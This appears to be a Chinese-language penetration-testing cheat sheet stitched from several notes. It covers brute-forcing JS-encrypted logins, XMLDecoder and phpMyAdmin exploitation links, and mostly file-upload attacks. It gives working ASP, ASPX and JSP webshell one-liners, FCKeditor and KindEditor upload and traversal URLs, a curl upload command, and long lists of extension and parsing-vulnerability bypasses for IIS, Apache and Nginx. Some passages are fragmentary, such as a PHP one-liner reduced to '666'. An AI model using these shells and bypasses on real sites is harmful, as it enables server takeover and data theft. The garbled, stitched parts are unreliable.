host.test.randkey.yourloggingdomain.com
参考文章:
https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF
https://mp.weixin.qq.com/s/e1jy-DFOSROmSvvzX_Ge5g
概述
渗透测试过程中遇到web登录的时候,现在很多场景账号密码都是经过js加密之后再请求发送(通过抓包可以看到加密信息)如图一burp抓到的包,request的post的登录包,很明显可以看到password参数的值是经过前端加密之后再进行传输的,遇到这种情况,普通发包的爆破脚本就很难爆破成功。鉴于这种情况,这边分析四种方式进行绕过加密爆破
参考文章:大概能分为以下四种方法
https://www.freebuf.com/articles/web/127888.html
我将几种方法口语化简述下:
1)既然是前端s加密,代码我们都能看得到,我们搭个服务器,每次发包前,把要发送的加密参数用服务器加密一遍,我们再把加密后的参数发送过去,这样相当于本地还原了加密过程
2)利用selenium webdriver等完全模拟人工输入,字典也可以自定义,不过需要自己写脚本而已,这种方法比较万能
3)这种方法适合有js功底的同学,首先把他的js加密过程跟方法看懂,然后本地简化或者用其他语言模拟他的加密过程,再自己写脚本去跑,或者生成加密后的字典直接burp去跑即可
4)前人栽树,后人乘凉,cony1老哥为了方便后辈,写了一款burp插件, https://github.com/c0ny1/jsENcrypter
,名为jsEncrypter,简单来说就是把1,3点结合了一下,用插件方便地跑起来
这里重点介绍第四种方法
1)首先得安装 maven,mac下直接 brew install maven
安装连接:
https://www.runoob.com/maven/maven-setup.html
按照文档三种系统都有安装方法
1)安装好maven后,把jsEncrypter git clone回来或者下载回来解压缩,然后在他的文件夹下,打开cmd窗口,然后运行mvn package,就可以把插件编译成型,编译好后会多出一个target文件夹
命令:mvn package
这里不演示下去了…详细的查看文章…
https://fucker-shamo.github.io/2019/08/04/登陆口js前端加密绕过/
中间复现会遇到的一些问题:
安装phantomJS环境变量参考:https://blog.csdn.net/xc_zhou/article/details/80700640
参考链接:
http://gv7.me/articles/2018/fast-locate-the-front-end-encryption-method/
https://www.freebuf.com/articles/web/184455.html
https://bbs.ichunqiu.com/thread-42457-1-3.html
http://gv7.me/articles/2017/jsEncrypter/
https://www.freebuf.com/articles/web/127888.html
https://www.cnblogs.com/xiaozi/p/9158988.html
详细介绍以下内容:
标签类型:
1)java
2)array
3)class
4)object
5)void
6)new
7)field
8)method
9)property
10)byte
11)其余数据类型
XML的基本语法
XML简单利用
详细文章:
https://xz.aliyun.com/t/7944
该文章全面的介绍了XMLDecoder遇到的基础知识…了解后我们开始看下面的CVE解析文章
http://xxlegend.com/tags/XMLDecoder/ --CVE-2019-2725、Weblogic XMLDecoder RCE分析
https://payloads.info/2020/07/01/Java安全-反序列化篇-XMLDecoder到Weblogic几个补丁的绕过分析/
文章非常详细的POC
前言
在学习sql语句之前,拿到phpmyadmin弱口令登录到后台却不知道怎么利用,学习之后却有了新的想法利用phpMyadmin getshello接下去来验证自己的猜想
phpMyAdmin的简介
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。
详细文章:
https://xz.aliyun.com/t/3283
https://my.oschina.net/u/4196756/blog/4408564 --近期最新文章复现讲解
https://zhuanlan.zhihu.com/p/25957366
详细文章:
https://xz.aliyun.com/t/6776
该文章中REF有详细链接,以及针对JWT的爆破密匙工具c-jwt-cracker也有详细链接介绍等
大小写混淆
%00截断
上传.htaccess分布式部署文件
图片文件头:47 49 46 38 39 61 (gif)、FF D8 FF E0 00 10 4A 46 49 46 (jpg) 、89 50 4E 47 (png)
其他解析格式:cer、asa、php4、php3、php5、phtml、jspx
修改(Content-type)MIME
目录回溯符 filename="../backdoor. php"
编辑器漏洞
百度编辑器 Ueditor
controller.ashx?action=catchimage
FCKeditor
查看版本
/fckeditor/editor/dialog/fck_about.html
/fckeditor/_Whatsnew.html
上传页面
常用的上传地址:
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
JSP 版:
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
FCKeditor 中test 文件的上传地址
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
一般很多站点都已删除_samples 目录,可以试试。
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
参考文章:
https://cloud.tencent.com/developer/news/210677
Version 2.2 版本
Apache+linux 环境下在上传文件后面加个.突破!测试通过
Version <=2.4.2 For php
在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址
FCKeditor 文件上传.变_下划线的绕过方法
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化
提交shell.php+空格绕过,不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试
继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制
Version 2.4.1 测试通过
修改CurrentFolder 参数使用 …/…/ 来进入不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
根据返回的XML 信息可以查看网站所有的目录
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
也可以直接浏览盘符:
JSP 版本:
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
Fckeditor 2.0 <= 2.2
允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName
,而没有使用$sExtension
为后缀.直接导致在windows下在上传文件后面加个.来突破(这里点点很重要)
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用iis6 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg
参考文章:
https://www.cnblogs.com/zpchcbd/p/11745119.html
上传页面
kindeditor/asp/upload_json.asp?dir=file
kindeditor/asp.net/upload_json.ashx?dir=file
kindeditor/jsp/upload_json.jsp?dir=file
kindeditor/php/upload_json.php?dir=file
上传思路
kindeditor<=4.1.5
curl -F"[email protected]"http://127.0.0.1/test/kindeditor/php/upload_json.php?dir=file
参考文章:
https://www.sinesafe.com/article/20190510/Kindeditor.html
https://www.freebuf.com/column/202148.html --上传思路
上传总结
文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞,因为用它获得服务器权限最快最直接
Asp一句话 :
<%eval request(“kkk”)%> kkk
Php一句话:
666
Aspx一句话:
<%@ Page Language="Jscript"%><%eval(Request.Item["111"],"unsafe");%>
Jsp一句话:
<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
参考一句话:
https://my.oschina.net/u/4373914/blog/3467075
1)白名单验证定义允许上传的后缀类型,除此所有后缓都不允许
2)黑名单验证
定义不允许上传的后缀类型,除此之类其他后缀都可以上传
定义不允许上传的后缀:
asp、aspx、asa、cer、cdx、ash
【突破方法】
未重命名可以配合解析漏洞(很少)
可以用cer达到绕过效果
如果未用转换函数强制转换后缀为小写(ASP)
特殊后缀达到效果可利用ashx来生成一句话
.htaccess来实现后缀引导。上传jpg可以解析成脚本,具体在内容定义
3)文件头验证
4)文件类型验证
例如可以把php的文件类型改成正常的图片类型
5)文件后缀验证
典型的白名单验证,指定上传后缀必须为jpg、JPG、jpeg、JPEG
类似图吧…
6)js前端验证
Js在前端定义了允许上传的后缀类型
【突破方法】直接在前端修改或添加后缀,找不到就搜索图片后缀如jpg
服务器解析漏洞(IIS5.x-6.x Apache Nginx IIS7.0/7.5)
1)IIS5.x-6.x解析漏洞
使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。
目录解析(6.0)
形式:www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。
文件解析
形式:www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。
解析文件类型
IIS6.0 默认的可执行文件除了asp还包含这三种 :
/test.asa
/test.cer
/test.cdx
修复方案
禁止用户控制文件上传目录,新建目录等权限
上传目录与用户新建的目录禁止执行
上传的文件重命名,不保留用户上传文件的后缀
禁止asa、asp、cer、cdx等后缀的文件上传
2)Apache解析漏洞
漏洞原理
Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。
漏洞形式
www.xxxx.xxx.com/test.php.php123
其余配置问题导致漏洞
(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php方式执行
一个文件名为xxxx1.2x.x3的文件(例如: Index.php.fuck),Apache会从x3的位置往×1的位置开尝试解析,如果x3不属于 Apache能解析的扩展名,那么 Apache会尝试去解析×2的位置,这样一直往前尝试,直到遇到一个能解析的扩展名为止
WampServer2.0AllVersion(WampServer2.0i/Apache2 2.11)
Wamp Server2.1AllVersion(Wamp Server2.1e-X32/Apache2 2.17)
Wamp5AllVersion(Wamp5_1.7.4/Apache2 2.6)
AppServ2.4All Version(AppServ-2.4.9/Apache2.0.59)
AppServ2.5AllVersion(AppServ-2.5.10/Apache2.2.8)
AppServ2.6AllVersion(AppServ-2.6.0/Apache 2.2.8)
以上集成环境都存在扩展名解析顺序漏洞,并且这些环境都存在对ρhp3文件按照php来解析这个小洞。该方法针对黑名单不全时,能够绕过
总结存在该漏洞的 Apache版本:
Apache2.0.x<=2.0.59
Apache2.2.X<=2.2.17
3)nginx 解析漏洞
漏洞原理
Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nqinx配置文件中通过正则匹配设置SCRIPT_FILENAME,当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi.script_name会被设置为"phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给 PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfoi这个选项了
如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了
漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%o00.php
www.xxxx.com/UploadFIles/image/1.jpg/%20\0.php
4)IIS7.5 解析漏洞
IS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串"/
任意文件名.php"
”就会按照php的方式去解析(例如:webshell.jpg/x.php)
IIS7.0(Win2008R1+IIS7.0)
IIS7.5(Win2008R2+IIS7.5)
IlS的解析漏洞不像Apache那么模糊,针对IIS6.0,只要文件名不被重命名基本都能搞定。这里要注意一点,对于"任意文件名/任意文件名.php"
这个漏洞其实是出现自php-cgi的漏洞,所以其实跟IIS自身是无关的
1)asp
#IIS 5.0/6.0
#文件解析
.asp;.jpg
.asp.jpg
.asp;jpg
#目录解析
.asp/1.jpg
#大小写绕过
asPx
#截断
1.asp%00.jpg
#空格绕过
1.asp .jpg
1.asp_.jpg (_代替空格,只在windows下有效,因为windows系统自动去掉不符合规则符号后面的内容)
#黑名单绕过(替代asp):
IIS6.0 默认的可执行文件除了asp还包含这三种:
asa
cer
cdx
ashx
asmx
#IIS put 上传
#asaspp
#filename换位置放到content-type 的下一行
#+1.asp;+2.jpg
#双文件上传
#RTOL
2)aspx
#IIS 5.0/6.0
#文件解析
.aspx;.jpg
.aspx.jpg
.aspx;jpg
#目录解析
.aspx/1.jpg
#大小写绕过
asPx
#截断
1.aspx%00.jpg
#空格绕过
1.aspx.jpg
1.aspx_.jpg (_代替空格,只在windows下有效,因为windows系统自动去掉不符合规则符号后面的内容)
#黑名单绕过(替代asp):
IIS6.0 默认的可执行文件除了asp还包含这三种:
asa
cer
cdx
ashx (生成aspx文件,见waf绕过)
asmx
htr
asax
#IIS put 上传
#asaspp
#filename换位置放到content-type 的下一行
#+1.aspx;+2.jpg
#asaspxpx
#双文件上传
#RTLO
3)php
#大小写
pHp
#黑名单绕过(替代php):
php1
php2
php3
php4
php5
#空格绕过(只有在windows下有效,因为windows系统自动去掉不符合规则符号后面的内容)
1.php .
1.php.
1.php. .
1.php .jpg
1.php_.jpg (_代替空格)
1.php.jpg
1.php jpg
1.php. .jpg
111.php&,#x2e;jpg
#十六进制绕过 点绕过
1.php.jpg
#解析漏洞
1.jpg/.php (nginx)
1.php.123 (apache)
1.jpg/php
1.jpg/1.php
1.jpg%00.php
#截断
1.php%00.jpg
#利用不符合windows文件命名规则绕过
1.php:1.jpg
1.php::$DATA
1.
这类检测,通常是在上传页面里含有专门检测文件上传的JavaScript代码,最常见的就是检测扩展名是否合法,示例代码如下:
function check()
{
var filename = document.getElementById("file");
var str = filename.value.split(".");
var ext = str[str.length-1];
if(ext=='jpg'||ext=='png'||ext=='jpeg'||ext=='gif')
{
return true;
}
else
{
alert("仅允许上传png/jpeg/gif类型的文件!")
return false;
}
return false;
}
判断该类检测的方法:选择一个禁止上传类型的文件上传,当点击确定按钮之后,浏览器立即弹窗提示禁止上传,一般就可以断定为客户端JavaScript检测,进一步确定可以通过配置浏览器HTTP代理(没有流量经过代理就可以证明是客户端JavaScript检测)。
绕过方法:
上传页面,审查元素,修改JavaScript检测函数;
将需要上传的恶意代码文件类型改为允许上传的类型,例如将dama.asp改为dama.jpg上传,配置Burp Suite代理进行抓包,然后再将文件名dama.jpg改为dama.asp。
上传webshell.jpg.jsp,可能前端程序检查后缀时,从前面开始检查。
参考文章:
https://masterxsec.github.io/2017/04/26/文件上传总结/